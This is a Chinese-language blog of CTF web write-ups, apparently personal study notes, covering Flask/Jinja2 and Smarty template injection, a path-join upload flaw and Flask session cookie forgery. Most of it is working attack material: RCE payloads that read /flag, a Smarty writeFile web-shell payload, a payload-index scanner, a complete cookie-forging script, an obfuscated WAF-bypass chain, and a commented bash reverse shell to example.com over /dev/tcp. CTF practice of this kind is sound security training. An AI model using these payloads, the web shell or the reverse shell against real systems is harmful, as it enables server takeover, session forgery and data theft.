ssti进阶学习


起因还是学长给出的一道题,现在看来五分钟没有做出来就是不行。给了你pin码的一道题目
现在遇到比较基础的ssti应该是没有问题了

[GDOUCTF 2023]EZ WEB

1分
FlaskHTTP协议Python
一进去查看网页源代码,进入目录/src

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()

这里给了代码,很简单,就是我们访问/super-secret-route-nobody-will-guess这个路由,然后再修改请求方式为put就可以了

[CISCN 2019华东南]Web11

1分
SSTISmartyRCE
这个遇见过也好解的
我就抓包,然后添加一个xff,这里就可以执行我们的ssti相关的命令了
回显就看右上角的current ip
注意一下这里需要执行的命令:

1
X-Forwarded-For:{system('cat /flag')}

注意一下这个命令的格式

[NISACTF 2022]babyupload

1分
文件上传PythonFlask
进去之后有一个文件上传的页面,然后我们查看网页源代码,有个根目录/source
访问得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db


@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()

file.save('uploads/' + file.filename)
return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404

# print(res[0])

with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

综上,后端代码的逻辑如下:上传的文件不能有后缀名,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接uploads/后读取该路径下上传的文件。

但肯定要想如何读取 flag 文件,在文件名前被uploads/拼接意味着只能读取上传后的文件,而且上传的文件没有后缀名,不能直接利用,但os.path.join()函数存在绝对路径拼接漏洞

1
2
3
4
5
绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

我们这里利用bp抓包,修改文件名为 /flag 后发包,利用/file/uuid即可读取 flag
我上传图片,就改一下文件名,其他不需要改,/file/da60638345b84ce9b212fa625de5758d访问拿到flag

[NISACTF 2022]midlevel

1分
SSTISmartyPHP
题目描述

无描述
这个题目是重复的

[HNCTF 2022 WEEK2]ez_SSTI

1分
SSTIFlaskJinja2
对于这道题目。我是怎么知道说这道题目是有ssti的?
可能是得借助题目的提示了,参数name呢?这里我们就只能猜测了,只能说,很多情况是这个参数

1
?name={{7*7}}

页面回显49,这里我们就可以知道说是jinjia2的ssti的相关题目

1
?name={{''.__class__}}

回显:<class ‘str’>
然后还有就是

1
?name={{''.__class__.__base__.__subclasses__()}}

回显了很多很多的类,这里我们就用我们的脚本来测试一些我们想要的模块的位置
注意是get方式传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib.parse

url = input('请输入url链接(如 http://127.0.0.1:5000/):')
param_name = input('请输入注入参数的参数名(如 name 或 input):')

for i in range(500):
payload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"

# 构造 GET 参数字典
params = {param_name: payload}

try:
response = requests.get(url, params=params)

if response.status_code == 200 and 'eval' in response.text:
print(f"[+] 找到了 eval:索引为 {i}")
break
except Exception as e:
pass

找到了,索引是100
然后我们就开始来吧

1
?name={{''.__class__.__base__.__subclasses__()[100].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

找到位置之后就比较轻松的就可以拿到我们的flag了

[HDCTF 2023]SearchMaster

1分
SSTISmartyPHP
题目描述

Who knows searching better than me?
来,判断注入模板的这个来了

1
2
3
4
5
6
7
8
${7*7}第一个,我们理解为根部
失败:来到第一个子部:{{7*7}}
成功:来到第二个子部:a{*comment*}b
第一个子部:
成功:那就是jinja2或者twig的。且我们输入{{7*'7'}},回显7777777说明是jinjia2模板,回显49的话就说明是Twig
第二个子部:成功,那就是Smarty。只返回comment的内容
失败,来到第三个子部
第三个子部:${"z".join("ab")},成功就是Mako

Smarty漏洞成因:

1
2
3
4
5
6
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}

这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击
攻击方式:
获取类的静态方法:
$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:
getStreamVariable():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getStreamVariable($variable)//variable其实就是文件路径
{
$_result = '';
$fp = fopen($variable, 'r+');//从此处开始对文件进行读取
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}
//可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
1
2
3
smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流
例如:
{self::getStreamVariable("file:///etc/passwd")}

不过这种利用方式只存在于旧版本中,而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除
writeFile:

1
2
3
4
5
6
public function writeFile($_filepath, $_contents, Smarty $smarty)
//我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig():
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}
1
smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法
1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。
标签:

  1. {$smarty.version}
    1
    {$smarty.version}  #获取smarty的版本号
    2.{php}{/php}
1
{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
3.{literal}

1
2
3
4
5
6
7

{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。
在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。
通过上述描述也可以想到,我们完全可以利用这一种标签来实现 XSS 攻击,这一种攻击方式在 SSTI 中也是很常见的,因为基本上所有模板都会因为需要提供类似的功能。

{literal}alert('xss');{/literal}

4.{if}{/if}

1
{if phpinfo()}{/if}
1
2
3
4
5
6
7
8
9
10
11
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:

{if is_array($array)}{/if}

还可以用来执行命令:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

漏洞复现:CVE-2017-1000480:
这里就先不看这个了

1
{$smarty.version}

返回版本:4.1.0

1
{if system('ls /')}{/if}

这个就可以了

1
{if system('cat /flag_13_searchmaster')}{/if}

[LitCTF 2023]Flag点击就送!

1分
Cookie伪造FlaskEjs
题目描述
大型Flag赠送活动开始啦,不过只有管理员才能拿到
Flag形式 NSSCTF{}
出题人 J1an
我们可以通过Wappalyzer得知web框架为Flask2.3.3的
我在firefox上的我打开Wappalyzer发现没有用
我换了一个浏览器然后就显示了
flask session的储存方式:
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改
flask的格式一般都是由base64加密的Session被恶意篡改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被篡改
这里要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF
附上python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key
self.config = {'SECRET_KEY': str(secret_key)} #添加并修改这一行


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

解密:

1
python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'

加密

1
python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'

(flask_session_cookie_manager3.py是你保存的脚本的名字)
我们在kail里面用这个因为题目说只有管理员才能拿到flag
根据前面base64解码得到session(json)格式,我们将name伪造为admin
并对session数据进行加密
这里我们在后面加上
这里的需要加密的session的值为

1
{"name":"admin"}
1
python session.py decode -s 'LitCTF' -c 'eyJuYW1lIjoiMSJ9.aCHuDw.MHp17WYvnrCvpEwnmoS4YF9N_Gg'

我们需要先解密一下,然后其实真正要做的就是加密
所以我一直-c怎么可能拿到flag吗
上面的脚本基本没有问题了,但是──(root㉿kali)-[~]
└─# python session.py decode -s ‘LitCTF’ -c ‘eyJuYW1lIjoiMSJ9.aCHuDw.MHp17WYvnrCvpEwnmoS4YF9N_Gg’
[Decoding error] ‘SECRET_KEY_FALLBACKS’
这个gpt说是flask的版本太新了,有些什么需要修改,我们在这里做修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

import sys
import zlib
import ast
from itsdangerous import base64_decode
from flask.sessions import SecureCookieSessionInterface
import argparse

# ABC 兼容处理
if sys.version_info < (3, 4):
from abc import ABCMeta, abstractmethod
class ABC(metaclass=ABCMeta): pass
else:
from abc import ABC, abstractmethod

# 模拟 Flask App
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = str(secret_key)
self.config = {
'SECRET_KEY': str(secret_key),
'SECRET_KEY_FALLBACKS': []
}

class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)

def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if secret_key is None:
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)

if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', required=True, help='Secret key')
parser_encode.add_argument('-t', '--cookie-structure', required=True, help='Session cookie structure')

parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', help='Secret key')
parser_decode.add_argument('-c', '--cookie-value', required=True, help='Session cookie value')

args = parser.parse_args()

if args.subcommand == 'encode':
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif args.subcommand == 'decode':
print(FSCM.decode(args.cookie_value, args.secret_key))

这下就可以了
我们再编码

1
2
python3 session.py encode -s 'LitCTF' -t "{'name': 'admin'}"

然后我们拿着:

1
Cookie:session=eyJuYW1lIjoiYWRtaW4ifQ.aCMwig.Dy1ikvuwnFioav1c_v-LQfxQiOk

但是这样还是差一点才能拿到flag,比赛中肯定只能多试试了
进去是这个,有一个输入框

1
欢迎参加LitCTF,告诉我你的名字吧

然后我们就可以输入一个东西
然后一个按钮,写着点击送flag
我们点击进去:http://node4.anna.nssctf.cn:28762/flag
在这个页面改session才能拿到flag
有个问题,为什么不在本机就跑我们的pychram这些呢
而是要kail的
gpy回答

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
你的问题很有价值,我们来一针见血地讲清楚:
✅ 这类 Flask session cookie 伪造题,理论上在 任何 Python 环境都可以做,包括本地 PyCharm。
但现实中,Kali 上更方便,原因主要包括以下几点:
🧩 1. 依赖环境更匹配

Kali Linux 默认自带了很多渗透测试所需的工具和模块(包括 flask, itsdangerous 等版本接近 CTF 题目环境),避免了因模块版本不一致导致的奇怪报错。

本地 PyCharm 可能用的是较新或不兼容的 Flask,比如 Flask 2.3+ 引入了 SECRET_KEY_FALLBACKS 等新机制,不处理就直接炸。

比如你刚才碰到的错误:

[Decoding error] 'SECRET_KEY_FALLBACKS'

是因为你的 PyCharm 环境用了 新版 Flask,而你脚本写法是老版的。

🔒 2. Kali 更接近真实服务端环境

CTF 的服务端环境通常部署在 Linux 容器或服务器上,Kali 模拟这种环境更真实,调试行为(如路径、编码、gzip、zlib)更接近。

本地 PyCharm 是开发环境(IDE),调试很方便,但环境常常太“干净”、太“现代”,出错反而更多。

🧰 3. 集成常用工具

Kali 里通常安装了你做 CTF 常用的工具,比如:

Burp Suite

ffuf / dirsearch

curl / wget / nc

wordlists (比如 rockyou.txt)

做题时不需要来回切环境。

✅ 怎么样才能在 PyCharm 做这类题?

如果你想在本地 PyCharm 做也是可以的,只要你做 三件事:

✅ 创建虚拟环境 venv:

python3 -m venv venv
source venv/bin/activate

✅ 安装指定版本 Flask:

pip install flask==2.2.5

✅ 调整代码兼容性(比如你刚才加上了 SECRET_KEY_FALLBACKS)

🔚 总结一句话:

不是 PyCharm 不行,而是你没配好环境。Kali 一打开就能跑,所以更适合做 CTF。

但如果你习惯 PyCharm,完全可以调试,只要配好版本(特别是 Flask + itsdangerous)。

需要我提供一个 PyCharm 环境的 requirements.txt 或者虚拟环境配置文件来帮你本地搞定,也可以告诉我。

[GDOUCTF 2023]

1分
SSTIJinja2代码审计
首先我自己是先

1
{{7*7}}

发现我们的这个被waf了
好了,这类题目做的相对较少,我们在这里选择看wp
ssti,过滤数字,大括号等
主要是{%%}的使用,这里可以看之前学习的笔记,都确实是jinjia2的。是绕过过滤{{}}的相关知识

1
2
3
4
5
6
7
8
9
10
11
12
13
{%if 条件%}result{%endif%}


解释一下 如果条件里为真 就输出 result 否则不输出

修改一下
{%if not a%}yes{%endif%}

第二种

{%print 123%}

通过输出123来判断

但是但是,这道题目的waf对于现在的我来说难度可能还是有点大了,可能得往后一些再解决了

1
python -m fenjing webui

这个命令可以帮助我们进入这个fenjing里面
或者我们再

1
python -m fenjing scan --url http://node5.anna.nssctf.cn:28740

这个则是直接开始跑我们的网址了,没有那个页面
这个直接getshell拿到权限了,接下来我们就输入命令就可以来拿到flag了
也就是我们的一把梭了。但是啊,可能有些waf是真的非常的难穿,我们这里看到一个文章的做法挺可以的
https://blog.csdn.net/m0_67236448/article/details/145833612?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522b4b4f040e0ffefb0a67c551d3fbcb105%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=b4b4f040e0ffefb0a67c551d3fbcb105&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-145833612-null-null.142^v102^pc_search_result_base4&utm_term=fenjing&spm=1018.2226.3001.4187
安装fenjing的时候我们应该是将其和我们的自带的py文件混合在一起的了

1
D:\python\Scripts

写入我们的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
#shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
shell_payload, _ = exec_cmd_payload(waf, "tac$IFS$9/f*")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")

名为example.py
在对应的目录下
使用命令

1
python example.py

但是这个为什么?这种不应该只能永远生成一个命令吗?但是我输入结果进去

1
{%set jy=dict(GET=x)|first|lower%}{%set dh=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set ob=dict(x=x)|count%}{%set ni=dict(GLOBALS=x)|first|lower%}{%set fp=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set bt=joiner|urlencode|wordcount%}{%set mt=cycler|escape|urlencode|count%}{%set pj=dict(aaaaa=x)|first|count%}{%set jm=namespace|escape|count%}{%set xo=namespace|escape|urlencode|escape|urlencode|count%}{%set et=(bt,bt,bt,bt,bt,ob,ob)|sum%}{%set ru=({}|escape|urlencode|first,dict(c=x)|join)|join%((xo,pj)|sum)%}{%set uc=(ru*(ob,ob)|sum,ni,ru*(ob,ob)|sum)|join%}{%set ya=(ru*(ob,ob)|sum,fp,ru*(ob,ob)|sum)|join%}{%set bl=(ru*(ob,ob)|sum,bu,ru*(ob,ob)|sum)|join%}{%set ip=(ru*(ob,ob)|sum,im,ru*(ob,ob)|sum)|join%}{%set ad=dict(ADD=x)|first|lower%}{%set sx=(ru*(ob,ob)|sum,ad,ru*(ob,ob)|sum)|join%}{%set ke=dict(a=x,b=x,c=x)|count%}{%set mq=(ke,ob)|sum%}{%set ta=dict(TAC=x)|first|lower|attr(sx)((({}|escape|urlencode|first,dict(c=x)|join)|join*(bt,ob,ob)|sum)%((bt,bt,bt,bt,bt,ob)|sum,(mt,bt,ob)|sum,(mt,pj)|sum,(mt,bt,bt,mq)|sum,(bt,bt,bt,bt,bt,ob)|sum,(jm,bt,mq)|sum,(jm,ob)|sum,(xo,bt,pj)|sum,(et,pj)|sum))%}{%print (((((session|attr(jy)|attr(uc)|attr(ya))(bl)|attr(ya))(ip))(dh)|attr(po))(ta)|attr(re))()%}

直接就给我显示flag了
确实牛逼呀
但是我fenjing直接跑了出来,可能暂时理解不了里面的深奥
参考一个github的高star的内容,后面fenjing跑不出来的时候多看一下

1
https://github.com/Marven11/Fenjing/blob/main/examples.md

[安洵杯 2020]Normal SSTI

1分
SSTIJinja2Flask

1
python -m fenjing scan --url http://node4.anna.nssctf.cn:28998/

有点问题,刚才一进去有提示的
要进入/test?url=xxx

1
python -m fenjing scan --url http://node4.anna.nssctf.cn:28998/test

这样就开始扫描了
感觉现在得看菜下饭呀!先看下wp,是不是那种都不给过程讲解,贼复杂的那种,是的话就算了
能慢慢手动注入就慢慢学习
fenjing这里直接就出flag了
然后我们试试上面的那个万能的试试,这里是不行的
然后我们来手动注入,也是第一次做过类似的题目,所以我们还是看wp来一步一步学着做
我们在这里可以得知.和[]被过滤
所以我们使用flask的|attr来调用方法

1
2
''|attr("__class__")等效于''.__class__
如果要使用xxx.os('xxx')类似的方法,可以使用xxx|attr("os")('xxx')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

Unicode编码的python脚本如下:

class_name = "cat /flag"

unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])

print(unicode_class_name)

payload示例:

url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

(Unicode编码,这条payload等效于{{“”.__class__}})

但是我们下面的两个paylaod都回显:do a real p1g

1
2
http://node4.anna.nssctf.cn:28998/test?url={7*7}
http://node4.anna.nssctf.cn:28998/test?url={{7*7}}

这里我还有很多的问题没有解决,先参考一下wp
我们来换一个爆破的工具
先进入kail,更新一下

1
2
sudo apt update
sudo apt install wfuzz

基本用法

1
2
3
4
5
6
-u 或 --url:指定目标URL。
-w 或 --wordlist:指定词典文件,用于模糊测试。
-H 或 --header:添加HTTP请求头。
-d 或 --data:指定POST请求的数据。
-b 或 --cookie:指定Cookie。
-z 或 --fzr:指定模糊因子,如文件字典、字符集、大小等

我们在https://github.com/xmendez/wfuzz
上面把wordlist下载出来,复制到kail里面

1
wfuzz -c -w wordlist.txt -u http://node4.anna.nssctf.cn:28799/test?url=xxx

但是我复制的是到kail的桌面,报错显示找不到我们的文件

1
2
find / -name "wordlist.txt" 2>/dev/null

这个是帮我们找到文件路径的
回显:/usr/share/set/src/fasttrack/wordlist.txt
/usr/share/sqlmap/data/txt/wordlist.txt

1
wfuzz -c -w /usr/share/set/src/fasttrack/wordlist.txt -u "http://node4.anna.nssctf.cn:28799/?url=FUZZ"

这个命令成功了
并且拖到桌面的路径是:/home/kali/Desktop/wordlist.txt。我的kail要换成root
然后用

1
wfuzz -c -w /home/root/Desktop/wordlist.txt -u "http://node4.anna.nssctf.cn:28799/?url=FUZZ"

这个命令,但是这里还是报错了,root用户的路径不一样。还是不对,我使用的是wordlist是一个文件夹
这里就只能先算了吧,这样还不如bp来fuzz我们的,手动都比这个好

因为过滤了 {{}},所以使用{%%},不能用base64编码还有request,考虑用Unicode编码配合attr过滤器来绕过

1
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

在此基础上将_globals_,__getitem__还有命令进行编码

1
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

最后拿到flag
用这个payload的思路就是,我们.被过滤那就用[]来拼接的,但是[]也被过滤了

本题其余疑惑

当然,这道题目我还有一些疑惑,主要是前面那一段paylaod的疑惑:{%print(lipsum|attr` 首先我们的`{{}}`过滤,有两种绕过方式,一种是`{% if ... %}1{% endif %}这一种
还有一种是:{%print(......)%}这个
还有疑惑就是lipsum这个起了什么作用
拿一道最简单的ssti的题目为例

[SWPU 2024 新生引导]ez_SSTI

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

这是config的
url_for的用法,这样也可以拿到flag

1
?name={{url_for.__globals__.os.popen('cat /flag').read()}}

lipsum的

1
?name={{ lipsum.__globals__.os.popen('cat /flag').read() }}

记得把这三个都加入到我们的字典里面

过滤器绕过下划线过滤的相关知识

过滤器绕过下划线过滤
过滤器1.过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
flask常用过滤器
length()#获取一个序列或者字典的长度并将其返回
下面的基本看看名字就知道怎么用的了
int()
float()
lower():转化为小写
upper()
reverse()
replace(value,old,new)将value中的old替换为new
list()
string()
join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr():获取对象的属性
比如我有一个List名叫girls,
{{girls|length}}返回的就是girls里面的数量了
{{()|attr('__class__')}}可以执行了
我们发现attr里面的命令被执行了回显了当前的类名
如果是过滤了下划线呢?
__class__换成request.args.class
